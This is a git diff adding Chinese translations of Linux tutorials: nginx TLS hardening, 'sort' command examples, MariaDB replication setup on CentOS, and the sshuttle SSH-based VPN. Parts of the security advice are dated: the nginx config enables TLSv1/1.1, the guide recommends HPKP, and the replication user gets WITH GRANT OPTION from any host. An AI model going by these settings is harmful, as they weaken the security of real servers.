+- [关于 ssl\_prefer\_server\_ciphers 的更多信息][22] +- [关于 ssl\_ciphers 的更多信息][23] + +### 前向安全性和 Diffie Hellman Ephemeral (DHE)参数 ### + +前向安全性(Forward Secrecy)的概念很简单:客户端和服务器协商一个永不重用的密钥,并在会话结束时销毁它。服务器上的 RSA 私钥用于客户端和服务器之间的 Diffie-Hellman 密钥交换签名。从 Diffie-Hellman 握手中获取的预主密钥会用于之后的编码。因为预主密钥是特定于客户端和服务器之间建立的某个连接,并且只用在一个限定的时间内,所以称作短暂模式(Ephemeral)。 + +使用了前向安全性,如果一个攻击者取得了一个服务器的私钥,他是不能解码之前的通讯信息的。这个私钥仅用于 Diffie Hellman 握手签名,并不会泄露预主密钥。Diffie Hellman 算法会确保预主密钥绝不会离开客户端和服务器,而且不能被中间人攻击所拦截。 + +所有版本的 nginx(如1.4.4)都依赖于 OpenSSL 给 Diffie-Hellman (DH)的输入参数。不幸的是,这意味着 Diffie-Hellman Ephemeral(DHE)将使用 OpenSSL 的默认设置,包括一个用于密钥交换的1024位密钥。因为我们正在使用2048位证书,DHE 客户端就会使用一个要比非 DHE 客户端更弱的密钥交换。 + +我们需要生成一个更强壮的 DHE 参数: + + cd /etc/ssl/certs + openssl dhparam -out dhparam.pem 4096 + +然后告诉 nginx 将其用作 DHE 密钥交换: + + ssl_dhparam /etc/ssl/certs/dhparam.pem; + +### OCSP 装订(Stapling) ### + +当连接到一个服务器时,客户端应该使用证书吊销列表(CRL)或在线证书状态协议(OCSP)记录来校验服务器证书的有效性。CRL 的问题是它已经增长的太大了,永远也下载不完了。 + +OCSP 更轻量级一些,因为我们每次只请求一条记录。但是副作用是当连接到一个服务器时必须对第三方 OCSP 响应器发起 OCSP 请求,这就增加了延迟和带来了潜在隐患。事实上,CA 所运营的 OCSP 响应器非常不可靠,浏览器如果不能及时收到答复,就会静默失败。攻击者通过 DoS 攻击一个 OCSP 响应器可以禁用其校验功能,这样就降低了安全性。 + +解决方法是允许服务器在 TLS 握手中发送缓存的 OCSP 记录,以绕开 OCSP 响应器。这个机制节省了客户端和 OCSP 响应器之间的通讯,称作 OCSP 装订。 + +客户端会在它的 CLIENT HELLO 中告知其支持 status\_request TLS 扩展,服务器仅在客户端请求它的时候才发送缓存的 OCSP 响应。 + +大多数服务器最多会缓存 OCSP 响应48小时。服务器会按照常规的间隔连接到 CA 的 OCSP 响应器来获取刷新的 OCSP 记录。OCSP 响应器的位置可以从签名的证书中的授权信息访问(Authority Information Access)字段中获得。 + +- [阅读我的教程:在 NGINX 中启用 OCSP 装订][24] + +### HTTP 严格传输安全(HSTS) ### + +如有可能,你应该启用 [HTTP 严格传输安全(HSTS)][25],它会引导浏览器和你的站点之间的通讯仅通过 HTTPS。 + +- [阅读我关于 HSTS 的文章,了解如何配置它][26] + +### HTTP 公钥固定扩展(HPKP) ### + +你也应该启用 [HTTP 公钥固定扩展(HPKP)][27]。 + +公钥固定的意思是一个证书链必须包括一个白名单中的公钥。它确保仅有白名单中的 CA 才能够为某个域名签署证书,而不是你的浏览器中存储的任何 CA。 + +我已经写了一篇[关于 HPKP 的背景理论及在 Apache、Lighttpd 和 NGINX 中配置例子的文章][28]。 + +### 配置范例 ### + + server { + + listen [::]:443 default_server; + + ssl on; + ssl_certificate_key /etc/ssl/cert/raymii_org.pem; + ssl_certificate /etc/ssl/cert/ca-bundle.pem; + + ssl_ciphers 'AES128+EECDH:AES128+EDH:!aNULL'; + + ssl_protocols TLSv1 TLSv1.1 TLSv1.2; + ssl_session_cache shared:SSL:10m; + + ssl_stapling on; + ssl_stapling_verify on; + resolver 8.8.4.4 8.8.8.8 valid=300s; + resolver_timeout 10s; + + ssl_prefer_server_ciphers on; + ssl_dhparam /etc/ssl/certs/dhparam.pem; + + add_header Strict-Transport-Security max-age=63072000; + add_header X-Frame-Options DENY; + add_header X-Content-Type-Options nosniff; + + root /var/www/; + index index.html index.htm; + server_name raymii.org; + + } + +### 结尾 ### + +如果你使用了上述配置,你需要重启 nginx: + + # 首先检查配置文件是否正确 + /etc/init.d/nginx configtest + # 然后重启 + /etc/init.d/nginx restart + +现在使用 [SSL Labs 测试][29]来看看你是否能得到一个漂亮的“A”。当然了,你也得到了一个安全的、强壮的、经得起考验的 SSL 配置! + +- [参考 Mozilla 关于这方面的内容][30] + +-------------------------------------------------------------------------------- + +via: https://raymii.org/s/tutorials/Strong_SSL_Security_On_nginx.html + +作者:[Remy van Elst][a] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://raymii.org/ +[1]:https://www.ssllabs.com/ssltest/analyze.html?d=raymii.org +[2]:https://cipherli.st/ +[3]:https://www.digitalocean.com/?refcode=7435ae6b8212 +[4]:http://blog.ivanristic.com/2014/01/ssl-labs-stricter-security-requirements-for-2014.html +[5]:https://raymii.org/s/tutorials/Strong_SSL_Security_On_Apache2.html +[6]:https://raymii.org/s/tutorials/Pass_the_SSL_Labs_Test_on_Lighttpd_%28Mitigate_the_CRIME_and_BEAST_attack_-_Disable_SSLv2_-_Enable_PFS%29.html +[7]:http://www.bsdnow.tv/episodes/2014_08_20-engineering_nginx +[8]:http://www.bsdnow.tv/tutorials/nginx +[9]:https://en.wikipedia.org/wiki/Transport_Layer_Security#BEAST_attack +[10]:https://en.wikipedia.org/wiki/CRIME_%28security_exploit%29 +[11]:http://blog.cryptographyengineering.com/2015/03/attack-of-week-freak-or-factoring-nsa.html +[12]:http://heartbleed.com/ +[13]:https://en.wikipedia.org/wiki/Perfect_forward_secrecy +[14]:https://en.wikipedia.org/wiki/Transport_Layer_Security#Dealing_with_RC4_and_BEAST +[15]:https://www.smacktls.com/ +[16]:https://raymii.org/s/articles/Check_servers_for_the_Poodle_bug.html +[17]:https://tools.ietf.org/html/draft-ietf-tls-downgrade-scsv-00 +[18]:http://wiki.nginx.org/HttpSslModule#ssl_protocols +[19]:https://wiki.mozilla.org/Security/Server_Side_TLS +[20]:http://www.mail-archive.com/dev-tech-crypto@lists.mozilla.org/msg11247.html +[21]:https://wiki.mozilla.org/Security/Server_Side_TLS#RC4_weaknesses +[22]:http://wiki.nginx.org/HttpSslModule#ssl_prefer_server_ciphers +[23]:http://wiki.nginx.org/HttpSslModule#ssl_ciphers +[24]:https://raymii.org/s/tutorials/OCSP_Stapling_on_nginx.html +[25]:https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security +[26]:https://linux.cn/article-5266-1.html +[27]:https://wiki.mozilla.org/SecurityEngineering/Public_Key_Pinning +[28]:https://linux.cn/article-5282-1.html +[29]:https://www.ssllabs.com/ssltest/ +[30]:https://wiki.mozilla.org/Security/Server_Side_TLS \ No newline at end of file diff --git a/published/201505/20150417 14 Useful Examples of Linux 'sort' Command--Part 1.md b/published/201505/20150417 14 Useful Examples of Linux 'sort' Command--Part 1.md new file mode 100644 index 0000000000..c483c4035f --- /dev/null +++ b/published/201505/20150417 14 Useful Examples of Linux 'sort' Command--Part 1.md @@ -0,0 +1,132 @@ +Linux 的 ‘sort’命令的14个有用的范例(一) +============================================================= +Sort是用于对单个或多个文本文件内容进行排序的Linux程序。Sort命令以空格作为字段分隔符,将一行分割为多个关键字对文件进行排序。需要注意的是除非你将输出重定向到文件中,否则Sort命令并不对文件内容进行实际的排序(即文件内容没有修改),只是将文件内容按有序输出。 + +本文的目标是通过14个实际的范例让你更深刻的理解如何在Linux中使用sort命令。 + +1、 首先我们将会创建一个用于执行‘sort’命令的文本文件(tecmint.txt)。工作路径是‘/home/$USER/Desktop/tecmint’。 + +下面命令中的‘-e’选项将启用‘\\’转义,将‘\n’解析成换行 + + $ echo -e "computer\nmouse\nLAPTOP\ndata\nRedHat\nlaptop\ndebian\nlaptop" > tecmint.txt + +![Split String by Lines in Linux](http://www.tecmint.com/wp-content/uploads/2015/04/Split-String-by-Lines.gif) + +2、 在开始学习‘sort’命令前,我们先看看文件的内容及其显示方式。 + + $ cat tecmint.txt + +![Check Content of File](http://www.tecmint.com/wp-content/uploads/2015/04/Check-Content-of-File.gif) + +3、 现在,使用如下命令对文件内容进行排序。 + + $ sort tecmint.txt + +![Sort Content of File linux](http://www.tecmint.com/wp-content/uploads/2015/04/Sort-Content.gif) + +**注意**:上面的命令并不对文件内容进行实际的排序,仅仅是将其内容按有序方式输出。 + +4、 对文件‘tecmint.txt’文件内容排序,并将排序后的内容输出到名为sorted.txt的文件中,然后使用[cat][1]命令查看验证sorted.txt文件的内容。 + + $ sort tecmint.txt > sorted.txt + $ cat sorted.txt + +![Sort File Content in Linux](http://www.tecmint.com/wp-content/uploads/2015/04/Sort-File-Content.gif) + +5、 现在使用‘-r’参数对‘tecmint.txt’文件内容进行逆序排序,并将输出内容重定向到‘reversesorted.txt’文件中,并使用cat命令查看文件的内容。 + + $ sort -r tecmint.txt > reversesorted.txt + $ cat reversesorted.txt + +![Sort Content By Reverse](http://www.tecmint.com/wp-content/uploads/2015/04/Sort-Content-By-Reverse.gif) + +6、 创建一个新文件(lsl.txt),文件内容为在home目录下执行‘ls -l’命令的输出。 + + $ ls -l /home/$USER > /home/$USER/Desktop/tecmint/lsl.txt + $ cat lsl.txt + +![Populate Output of Home Directory](http://www.tecmint.com/wp-content/uploads/2015/04/Populate-Output.gif) + +我们将会看到对其他字段进行排序的例子,而不是对默认的开始字符进行排序。 + +7、 基于第二列(符号连接的数量)对文件‘lsl.txt’进行排序。 + + $ sort -nk2 lsl.txt + +**注意**:上面例子中的‘-n’参数表示对数值内容进行排序。当想基于文件中的数值列对文件进行排序时,必须要使用‘-n’参数。 + +![Sort Content by Column](http://www.tecmint.com/wp-content/uploads/2015/04/Sort-Content-by-Column.gif) + +8、 基于第9列(文件和目录的名称,非数值)对文件‘lsl.txt’进行排序。 + + $ sort -k9 lsl.txt + +![Sort Content Based on Column](http://www.tecmint.com/wp-content/uploads/2015/04/Sort-Content-Based-on-Column.gif) + +9、 sort命令并非仅能对文件进行排序,我们还可以通过管道将命令的输出内容重定向到sort命令中。 + + $ ls -l /home/$USER | sort -nk5 + +![Sort Content Using Pipe Option](http://www.tecmint.com/wp-content/uploads/2015/04/Sort-Content-By-Pipeline.gif) + +10、 对文件tecmint.txt进行排序,并删除重复的行。然后检查重复的行是否已经删除了。 + + $ cat tecmint.txt + $ sort -u tecmint.txt + +![Sort and Remove Duplicates](http://www.tecmint.com/wp-content/uploads/2015/04/Sort-and-Remove-Duplicates.gif) + +目前我们发现的排序规则: + +除非指定了‘-r’参数,否则排序的优先级按下面规则排序 + + - 以数字开头的行优先级最高 + - 以小写字母开头的行优先级次之 + - 待排序内容按字典序进行排序 + - 默认情况下,‘sort’命令将带排序内容的每行关键字当作一个字符串进行字典序排序(数字优先级最高,参看规则 1) + +11、 在当前位置创建第三个文件‘lsla.txt’,其内容用‘ls -lA’命令的输出内容填充。 + + $ ls -lA /home/$USER > /home/$USER/Desktop/tecmint/lsla.txt + $ cat lsla.txt + +![Populate Output With Hidden Files](http://www.tecmint.com/wp-content/uploads/2015/04/Populate-Output-With-Hidden-Files.gif) + +了解ls命令的读者都知道‘ls -lA’ 等于 ‘ls -l’ + 隐藏文件,所以这两个文件的大部分内容都是相同的。 + +12、 对上面两个文件内容进行排序输出。 + + $ sort lsl.txt lsla.txt + +![Sort Contents of Two Files](http://www.tecmint.com/wp-content/uploads/2015/04/Sort-Content-of-Multiple-Files.gif) + +注意文件和目录的重复 + +13、 现在我们看看怎样对两个文件进行排序、合并,并且删除重复行。 + + $ sort -u lsl.txt lsla.txt + +![Sort, Merge and Remove Duplicates from File](http://www.tecmint.com/wp-content/uploads/2015/04/Sort-Merge-Duplicates-Content.gif) + +此时,我们注意到重复的行已经被删除了,我们可以将输出内容重定向到文件中。 + +14、 我们同样可以基于多列对文件内容进行排序。基于第2,5(数值)和9(非数值)列对‘ls -l’命令的输出进行排序。 + + $ ls -l /home/$USER | sort -t "," -nk2,5 -k9 + +![Sort Content By Field Column](http://www.tecmint.com/wp-content/uploads/2015/04/Sort-Content-By-Field-Column.gif) + +先到此为止了,在接下来的文章中我们将会学习到‘sort’命令更多的详细例子。届时敬请关注我们。保持分享精神。若喜欢本文,敬请将本文分享给你的朋友。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/sort-command-linux/ + +作者:[Avishek Kumar][a] +译者:[cvsher](https://github.com/cvsher) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/13-basic-cat-command-examples-in-linux/ diff --git a/published/201505/20150417 How to Configure MariaDB Replication on CentOS Linux.md b/published/201505/20150417 How to Configure MariaDB Replication on CentOS Linux.md new file mode 100644 index 0000000000..702d3d7521 --- /dev/null +++ b/published/201505/20150417 How to Configure MariaDB Replication on CentOS Linux.md @@ -0,0 +1,363 @@ +如何在 CentOS Linux 中配置 MariaDB 复制 +================================================================================ +这是一个创建数据库重复版本的过程。复制过程不仅仅是复制一个数据库,同时也包括从主节点到一个从节点的更改同步。但这并不意味着从数据库就是和主数据库完全相同的副本,因为复制可以配置为只复制表结构、行或者列,这叫做局部复制。复制保证了特定的配置对象在不同的数据库之间保持一致。 + +### Mariadb 复制概念 ### + +**备份** :复制可以用来进行数据库备份。例如,当你做了主->从复制。如果主节点数据丢失(比如硬盘损坏),你可以从从节点中恢复你的数据库。 + +**扩展** :你可以使用主->从复制作为扩展解决方案。例如,如果你有一些大的数据库以及SQL查询,使用复制你可以将这些查询分离到每个复制节点。写入操作的SQL应该只在主节点进行,而只读查询可以在从节点上进行。 + +**分发解决方案** :你可以用复制来进行分发。例如,你可以将不同的销售数据分发到不同的数据库。 + +**故障解决方案** : 假如你建立有主节点->从节点1->从节点2->从节点3的复制结构。你可以为主节点写脚本监控,如果主节点出故障了,脚本可以快速的将从节点1切换为新的主节点,这样复制结构变成了主节点->从节点1->从节点2,你的应用可以继续工作而不会停机。 + +### 复制的简单图解示范 ### + +![mysql 复制原理](http://blog.linoxide.com/wp-content/uploads/2015/04/mysql-replication-principle.png) + +开始之前,你应该知道什么是**二进制日志文件**以及 Ibdata1。 + +二进制日志文件中包括关于数据库,数据和结构的所有更改的记录,以及每条语句的执行了多长时间。二进制日志文件包括一系列日志文件和一个索引文件。这意味着主要的SQL语句,例如CREATE, ALTER, INSERT, UPDATE 和 DELETE 会放到这个日志文件中;而例如SELECT这样的语句就不会被记录,它们可以被记录到普通的query.log文件中。 + +而 **Ibdata1** 简单的说据是一个包括所有表和所有数据库信息的文件。 + +### 主服务器配置 ### + +首先升级服务器 + + sudo yum install update -y && sudo yum install upgrade -y + +我们工作在centos7 服务器上 + + sudo cat /etc/redhat-release + + CentOS Linux release 7.0.1406 (Core) + +安装 MariaDB + + sudo yum install mariadb-server -y + +启动 MariaDB 并启用随服务器启动 + + sudo systemctl start mariadb.service + sudo systemctl enable mariadb.service + +输出如下: + + ln -s '/usr/lib/systemd/system/mariadb.service' '/etc/systemd/system/multi-user.target.wants/mariadb.service' + +检查 MariaDB 状态 + + sudo service mariadb status + +或者使用 + + sudo systemctl is-active mariadb.service + +输出如下: + + Redirecting to /bin/systemctl status mariadb.service + mariadb.service - MariaDB database server + Loaded: loaded (/usr/lib/systemd/system/mariadb.service; enabled) + +设置 MariaDB 密码 + + mysql -u root + mysql> use mysql; + mysql> update user set password=PASSWORD("SOME_ROOT_PASSWORD") where User='root'; + mysql> flush privileges; + mysql> exit + +这里 SOME_ROOT_PASSWORD 是你的 root 密码。 例如我用"q"作为密码,然后尝试登录: + + sudo mysql -u root -pSOME_ROOT_PASSWORD + +输出如下: + + Welcome to the MariaDB monitor. Commands end with ; or \g. + Your MariaDB connection id is 5 + Server version: 5.5.41-MariaDB MariaDB Server + Copyright (c) 2000, 2014, Oracle, MariaDB Corporation Ab and others. + +输入 'help;' 或 '\h' 查看帮助信息。 输入 '\c' 清空当前输入语句。 + +让我们创建包括一些数据的表的数据库 + +创建数据库/模式 + + sudo mysql -u root -pSOME_ROOT_PASSWORD + mysql> create database test_repl; + +其中: + + test_repl - 将要被复制的模式的名字 + +输出:如下 + + Query OK, 1 row affected (0.00 sec) + +创建 Persons 表 + + mysql> use test_repl; + + CREATE TABLE Persons ( + PersonID int, + LastName varchar(255), + FirstName varchar(255), + Address varchar(255), + City varchar(255) + ); + +输出如下: + + mysql> MariaDB [test_repl]> CREATE TABLE Persons ( + -> PersonID int, + -> LastName varchar(255), + -> FirstName varchar(255), + -> Address varchar(255), + -> City varchar(255) + -> ); + Query OK, 0 rows affected (0.01 sec) + +插入一些数据 + + mysql> INSERT INTO Persons VALUES (1, "LastName1", "FirstName1", "Address1", "City1"); + mysql> INSERT INTO Persons VALUES (2, "LastName2", "FirstName2", "Address2", "City2"); + mysql> INSERT INTO Persons VALUES (3, "LastName3", "FirstName3", "Address3", "City3"); + mysql> INSERT INTO Persons VALUES (4, "LastName4", "FirstName4", "Address4", "City4"); + mysql> INSERT INTO Persons VALUES (5, "LastName5", "FirstName5", "Address5", "City5"); + +输出如下: + + Query OK, 5 row affected (0.00 sec) + +检查数据 + + mysql> select * from Persons; + +输出如下: + + +----------+-----------+------------+----------+-------+ + | PersonID | LastName | FirstName | Address | City | + +----------+-----------+------------+----------+-------+ + | 1 | LastName1 | FirstName1 | Address1 | City1 | + | 1 | LastName1 | FirstName1 | Address1 | City1 | + | 2 | LastName2 | FirstName2 | Address2 | City2 | + | 3 | LastName3 | FirstName3 | Address3 | City3 | + | 4 | LastName4 | FirstName4 | Address4 | City4 | + | 5 | LastName5 | FirstName5 | Address5 | City5 | + +----------+-----------+------------+----------+-------+ + +### 配置 MariaDB 复制 ### + +你需要在主节点服务器上编辑 my.cnf文件来启用二进制日志以及设置服务器id。我会使用vi文本编辑器,但你可以使用任何你喜欢的,例如nano,joe。 + + sudo vi /etc/my.cnf + +将下面的一些行写到[mysqld]部分。 + + + log-basename=master + log-bin + binlog-format=row + server_id=1 + +输出如下: + +![mariadb 配置主节点](http://blog.linoxide.com/wp-content/uploads/2015/04/mariadb-config.png) + +然后重启 MariaDB: + + sudo service mariadb restart + +登录到 MariaDB 并查看二进制日志文件: + +sudo mysql -u root -pq test_repl + +mysql> SHOW MASTER STATUS; + +输出如下: + + +--------------------+----------+--------------+------------------+ + | File | Position | Binlog_Do_DB | Binlog_Ignore_DB | + +--------------------+----------+--------------+------------------+ + | mariadb-bin.000002 | 3913 | | | + +--------------------+----------+--------------+------------------+ + +**记住** : "File" 和 "Position" 的值。在从节点中你需要使用这些值 + +创建用来复制的用户 + + mysql> GRANT REPLICATION SLAVE ON *.* TO replication_user IDENTIFIED BY 'bigs3cret' WITH GRANT OPTION; + mysql> flush privileges; + +输出如下: + + Query OK, 0 rows affected (0.00 sec) + Query OK, 0 rows affected (0.00 sec) + +在数据库中检查用户 + + mysql> select * from mysql.user WHERE user="replication_user"\G; + +输出如下: + + mysql> select * from mysql.user WHERE user="replication_user"\G; + *************************** 1. row *************************** + Host: % + User: replication_user + Password: *2AF30E7AEE9BF3AF584FB19653881D2D072FA49C + Select_priv: N + ..... + +从主节点创建 DB dump (将要被复制的所有数据的快照) + + mysqldump -uroot -pSOME_ROOT_PASSWORD test_repl > full-dump.sql + +其中: + + SOME_ROOT_PASSWORD - 你设置的root用户的密码 + test_repl - 将要复制的数据库的名称; + +你需要在从节点中恢复 mysql dump (full-dump.sql)。重复需要这个。 + +### 从节点配置 ### + +所有这些命令需要在从节点中进行。 + +假设我们已经更新/升级了包括有最新的MariaDB服务器的 CentOS 7.x,而且你可以用root账号登陆到MariaDB服务器(这在这篇文章的第一部分已经介绍过) + +登录到Maria 数据库控制台并创建数据库 + + mysql -u root -pSOME_ROOT_PASSWORD; + mysql> create database test_repl; + mysql> exit; + +在从节点恢复主节点的数据 + + mysql -u root -pSOME_ROOT_PASSWORD test_repl < full-dump.sql + +其中: + +full-dump.sql - 你在测试服务器中创建的DB Dump。 + +登录到Maria 数据库并启用复制 + + mysql> CHANGE MASTER TO + MASTER_HOST='82.196.5.39', + MASTER_USER='replication_user', + MASTER_PASSWORD='bigs3cret', + MASTER_PORT=3306, + MASTER_LOG_FILE='mariadb-bin.000002', + MASTER_LOG_POS=3913, + MASTER_CONNECT_RETRY=10; + +![mariadb 启用复制](http://blog.linoxide.com/wp-content/uploads/2015/04/setup-replication.png) + +其中: + + MASTER_HOST - 主节点服务器的IP + MASTER_USER - 主节点服务器中的复制用户 + MASTER_PASSWORD - 复制用户密码 + MASTER_PORT - 主节点中的mysql端口 + MASTER_LOG_FILE - 主节点中的二进制日志文件名称 + MASTER_LOG_POS - 主节点中的二进制日志文件位置 + +开启从节点模式 + + mysql> slave start; + +输出如下: + + Query OK, 0 rows affected (0.00 sec) + +检查从节点状态 + + mysql> show slave status\G; + +输出如下: + + *************************** 1. row *************************** + Slave_IO_State: Waiting for master to send event + Master_Host: 82.196.5.39 + Master_User: replication_user + Master_Port: 3306 + Connect_Retry: 10 + Master_Log_File: mariadb-bin.000002 + Read_Master_Log_Pos: 4175 + Relay_Log_File: mariadb-relay-bin.000002 + Relay_Log_Pos: 793 + Relay_Master_Log_File: mariadb-bin.000002 + Slave_IO_Running: Yes + Slave_SQL_Running: Yes + Replicate_Do_DB: + Replicate_Ignore_DB: + Replicate_Do_Table: + Replicate_Ignore_Table: + Replicate_Wild_Do_Table: + Replicate_Wild_Ignore_Table: + Last_Errno: 0 + Last_Error: + Skip_Counter: 0 + Exec_Master_Log_Pos: 4175 + Relay_Log_Space: 1089 + Until_Condition: None + Until_Log_File: + Until_Log_Pos: 0 + Master_SSL_Allowed: No + Master_SSL_CA_File: + Master_SSL_CA_Path: + Master_SSL_Cert: + Master_SSL_Cipher: + Master_SSL_Key: + Seconds_Behind_Master: 0 + Master_SSL_Verify_Server_Cert: No + Last_IO_Errno: 0 + Last_IO_Error: + Last_SQL_Errno: 0 + Last_SQL_Error: + Replicate_Ignore_Server_Ids: + Master_Server_Id: 1 + 1 row in set (0.00 sec) + +到这里所有步骤都应该没问题,也不应该出现错误。 + +### 测试复制 ### + +在主节点服务器中添加一些条目到数据库 + + mysql -u root -pSOME_ROOT_PASSWORD test_repl + + mysql> INSERT INTO Persons VALUES (6, "LastName6", "FirstName6", "Address6", "City6"); + mysql> INSERT INTO Persons VALUES (7, "LastName7", "FirstName7", "Address7", "City7"); + mysql> INSERT INTO Persons VALUES (8, "LastName8", "FirstName8", "Address8", "City8"); + +到从节点服务器中查看复制数据 + + mysql -u root -pSOME_ROOT_PASSWORD test_repl + + mysql> select * from Persons; + + +----------+-----------+------------+----------+-------+ + | PersonID | LastName | FirstName | Address | City | + +----------+-----------+------------+----------+-------+ + ................... + | 6 | LastName6 | FirstName6 | Address6 | City6 | + | 7 | LastName7 | FirstName7 | Address7 | City7 | + | 8 | LastName8 | FirstName8 | Address8 | City8 | + +----------+-----------+------------+----------+-------+ + +你可以看到数据已经被复制到从节点。这意味着复制能正常工作。希望你能喜欢这篇文章。如果你有任何问题请告诉我们。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/how-tos/configure-mariadb-replication-centos-linux/ + +作者:[Bobbin Zachariah][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/bobbin/ \ No newline at end of file diff --git a/published/201505/20150417 sshuttle--A transparent proxy-based VPN using ssh.md b/published/201505/20150417 sshuttle--A transparent proxy-based VPN using ssh.md new file mode 100644 index 0000000000..953fd343b8 --- /dev/null +++ b/published/201505/20150417 sshuttle--A transparent proxy-based VPN using ssh.md @@ -0,0 +1,92 @@ +sshuttle:一个使用ssh的基于VPN的透明代理 +================================================================================ +sshuttle 允许你通过 ssh 创建一条从你电脑连接到任何远程服务器的 VPN 连接,只要你的服务器支持 python2.3 或则更高的版本。你必须有本机的 root 权限,但是你可以在服务端有普通账户即可。 + +你可以在一台机器上同时运行多次 sshuttle 来连接到不同的服务器上,这样你就可以同时使用多个 VPN, sshuttle可以转发你子网中所有流量到VPN中。 + +### 在Ubuntu中安装sshuttle ### + +在终端中输入下面的命令 + + sudo apt-get install sshuttle + +### 使用 sshuttle ### + +#### sshuttle 语法 #### + + sshuttle [options...] [-r [username@]sshserver[:port]] [subnets] + +#### 选项细节 #### + +-r, —remote=[username@]sshserver[:port] + +远程主机名和可选的用户名,用于连接远程服务器的ssh端口号。比如example.com、testuser@example.com、testuser@example.com:2222或者example.com:2244。 + +#### sshuttle 例子 #### + +在机器中使用下面的命令: + + sudo sshuttle -r username@sshserver 0.0.0.0/0 -vv + +当开始后,sshuttle会创建一个ssh会话到由-r指定的服务器。如果-r被丢了,它会在本地运行客户端和服务端,这个有时会在测试时有用。 + +连接到远程服务器后,sshuttle会上传它的(python)源码到远程服务器并执行。所以,你就不需要在远程服务器上安装sshuttle,并且客户端和服务器端间不会存在sshuttle版本冲突。 + +#### 手册中的更多例子 #### + +代理所有的本地连接用于本地测试,没有使用ssh: + + $ sudo sshuttle -v 0/0 + + Starting sshuttle proxy. + Listening on (‘0.0.0.0′, 12300). + [local sudo] Password: + firewall manager ready. + c : connecting to server... + s: available routes: + s: 192.168.42.0/24 + c : connected. + firewall manager: starting transproxy. + c : Accept: ‘192.168.42.106':50035 -> ‘192.168.42.121':139. + c : Accept: ‘192.168.42.121':47523 -> ‘77.141.99.22':443. + ...etc... + ^C + firewall manager: undoing changes. + KeyboardInterrupt + c : Keyboard interrupt: exiting. + c : SW#8:192.168.42.121:47523: deleting + c : SW#6:192.168.42.106:50035: deleting + +测试到远程服务器上的连接,自动猜测主机名和子网: + + $ sudo sshuttle -vNHr example.org + + Starting sshuttle proxy. + Listening on (‘0.0.0.0′, 12300). + firewall manager ready. + c : connecting to server... + s: available routes: + s: 77.141.99.0/24 + c : connected. + c : seed_hosts: [] + firewall manager: starting transproxy. + hostwatch: Found: testbox1: 1.2.3.4 + hostwatch: Found: mytest2: 5.6.7.8 + hostwatch: Found: domaincontroller: 99.1.2.3 + c : Accept: ‘192.168.42.121':60554 -> ‘77.141.99.22':22. + ^C + firewall manager: undoing changes. + c : Keyboard interrupt: exiting. + c : SW#6:192.168.42.121:60554: deleting + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/sshuttle-a-transparent-proxy-based-vpn-using-ssh.html + +作者:[ruchi][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ubuntugeek.com/author/ubuntufix diff --git a/published/201505/20150420 7 Interesting Linux 'sort' Command Examples--Part 2.md b/published/201505/20150420 7 Interesting Linux 'sort' Command Examples--Part 2.md new file mode 100644 index 0000000000..476274b495 --- /dev/null +++ b/published/201505/20150420 7 Interesting Linux 'sort' Command Examples--Part 2.md @@ -0,0 +1,134 @@ +Linux 的 'sort'命令的七个有趣实例(二) +================================================================================ + +在[上一篇文章][1]里,我们已经探讨了关于sort命令的多个例子,如果你错过了这篇文章,可以点击下面的链接进行阅读。今天的这篇文章作为上一篇文章的继续,将讨论关于sort命令的剩余用法,与上一篇一起作为Linux ‘sort’命令的完整指南。 + +- [Linux 的 ‘sort’命令的14个有用的范例(一)][1] + +在我们继续深入之前,先创建一个文本文档‘month.txt’,并且将上一次给出的数据填进去。 + + $ echo -e "mar\ndec\noct\nsep\nfeb\naug" > month.txt + $ cat month.txt + +![Populate Content](http://www.tecmint.com/wp-content/uploads/2015/04/Populate-Content.gif) + +15、 通过使用’M‘选项,对’month.txt‘文件按照月份顺序进行排序。 + + $ sort -M month.txt + +**注意**:‘sort’命令需要至少3个字符来确认月份名称。 + +![Sort File Content by Month in Linux](http://www.tecmint.com/wp-content/uploads/2015/04/Sort-by-Month.gif) + +16、 把数据整理成方便人们阅读的形式,比如1K、2M、3G、2T,这里面的K、G、M、T代表千、兆、吉、梯。 +(LCTT 译注:此处命令有误,ls 命令应该增加 -h 参数,径改之) + + $ ls -lh /home/$USER | sort -h -k5 + +![Sort Content Human Readable Format](http://www.tecmint.com/wp-content/uploads/2015/04/Sort-Content-Human-Readable-Format.gif) + +17、 在上一篇文章中,我们在例子4中创建了一个名为‘sorted.txt’的文件,在例子6中创建了一个‘lsl.txt’。‘sorted.txt'已经排好序了而’lsl.txt‘还没有。让我们使用sort命令来检查两个文件是否已经排好序。 + + $ sort -c sorted.txt + +![Check File is Sorted](http://www.tecmint.com/wp-content/uploads/2015/04/Check-File-is-Sorted.gif) + +如果它返回0,则表示文件已经排好序。 + + $ sort -c lsl.txt + +![Check File Sorted Status](http://www.tecmint.com/wp-content/uploads/2015/04/Check-File-Sorted-Status.gif) + +报告无序。存在矛盾…… + +18、 如果文字之间的分隔符是空格,sort命令自动地将空格后的东西当做一个新文字单元,如果分隔符不是空格呢? + +考虑这样一个文本文件,里面的内容可以由除了空格之外的任何符号分隔,比如‘|’,‘\’,‘+’,‘.’等…… + +创建一个分隔符为+的文本文件。使用‘cat‘命令查看文件内容。 + + $ echo -e "21+linux+server+production\n11+debian+RedHat+CentOS\n131+Apache+Mysql+PHP\n7+Shell Scripting+python+perl\n111+postfix+exim+sendmail" > delimiter.txt + +---------- + + $ cat delimiter.txt + +![Check File Content by Delimiter](http://www.tecmint.com/wp-content/uploads/2015/04/Check-File-Content.gif) + +现在基于由数字组成的第一个域来进行排序。 + + $ sort -t '+' -nk1 delimiter.txt + 